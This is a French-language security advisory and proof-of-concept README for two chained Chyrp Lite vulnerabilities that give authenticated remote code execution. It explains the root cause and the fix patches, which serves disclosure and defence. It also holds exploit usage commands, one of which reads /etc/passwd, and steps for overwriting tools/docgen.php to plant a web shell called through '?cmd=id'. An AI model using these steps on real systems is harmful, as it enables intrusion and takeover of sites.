
CVE-2026-53767 + CVE-2026-53768 - RCE authentifiée dans Chyrp Lite ≤ 2026.01 via contournement de la blocklist de uploads_path et validation d'extension manquante
CVE-2026-53767 + CVE-2026-53768 - RCE authentifié dans Chyrp Lite ≤ 2026.01 (« Iriomote »)
Attaque chaînée : contournement de la liste noire
uploads_path(CVE-2026-53768) + absence de validation de l'extension de fichier dansadmin_update_upload()(CVE-2026-53767) → Exécution de code à distance en tant quewww-data
Chyrp Lite ≤ 2026.01 est vulnérable à une chaîne d'exécution de code à distance authentifiée, exploitable par tout utilisateur disposant des permissions change_settings et edit_upload (par défaut : Administrateur).
| CVE | CVE-2026-53767 · CVE-2026-53768 |
| CVSS | 9.1 Critique (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H) |
| Versions affectées | xenocrat/chyrp-lite ≤ 2026.01 |
| Corrigé | commit 1489dc9 |
| Avis de sécurité | GHSA-8h86-c24h-5jp3 · GHSA-r9w7-5h94-wq5x |
| Signaleur | iltosec |
python chyrp_rce_poc.py -h
usage: chyrp_rce_poc.py [-h] -u URL -U USERNAME -P PASSWORD [-c CMD] [-i]
[--config CONFIG] [--restore RESTORE]
python chyrp_rce_poc.py -u http://127.0.0.1/chyrp -U admin -P 'fJ945@5:3s8v+X:'
python chyrp_rce_poc.py -u http://127.0.0.1/chyrp -U admin -P 'fJ945@5:3s8v+X:' -c 'cat /etc/passwd'

python chyrp_rce_poc.py -u http://127.0.0.1/chyrp -U admin -P 'fJ945@5:3s8v+X:' -i

Étape 1 - Authentification
Étape 2 - Redirection de uploads_path vers tools/ (pas dans la liste noire)
image
image
Étape 3 - Écrasement de tools/docgen.php (aucune vérification d'extension sur le remplacement)
image
image
Étape 4 - Exécution
http://127.0.0.1/chyrp/tools/docgen.php?cmd=id
image
uploads_path incomplèteincludes/controller/Admin.php valide uploads_path par rapport à une liste noire codée en dur :
admin | ajax | feathers | fonts | includes | modules | themes
Le dossier tools/ - fourni avec Chyrp Lite et contenant des fichiers .php exécutables (docgen.php, gettext.php, triggers.php) - n'est pas listé. La soumission de uploads_path=tools passe la validation et est persistée dans config.json.php.
admin_update_upload()upload_tester() (includes/helpers.php) vérifie uniquement le code d'erreur d'upload PHP et la taille du fichier - elle n'effectue aucune validation d'extension sur le fichier de remplacement. Le nom du fichier cible est extrait de $_POST['file'] et résolu par rapport au uploads_path courant. Comme tools/docgen.php existe déjà (satisfaisant la vérification is_file()), il est silencieusement écrasé avec un contenu arbitraire.
Remarque : Le drapeau
--configpointe versconfig.json.phppour le calcul du jeton CSRF. Si le fichier n'est pas lisible localement, le script retombe automatiquement sur l'extraction du jeton depuis la réponse HTML.
Mettez à jour vers une version contenant le commit 1489dc9 ou une version ultérieure.
Deux correctifs indépendants ont été appliqués :
Correctif 1 - Ajout de tools (et licenses) à la liste noire de uploads_path :
// Before
"/^$qdir((admin|ajax|feathers|fonts|includes|modules|themes)$qdir|$)/"
// After
"/^$qdir((admin|ajax|feathers|fonts|includes|licenses|modules|themes|tools)$qdir|$)/"
Correctif 2 - Validation de l'extension du fichier uploadé par rapport à la liste blanche dans admin_update_upload() :
$new_extension = strtolower(pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION));
$whitelist = upload_filter_whitelist();
if (!in_array($new_extension, $whitelist))
error(__("Error"), __("File type is not allowed."), code: 422);
Ce PoC est publié à des fins éducatives et de recherche uniquement. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. L'auteur n'est pas responsable de toute utilisation abusive.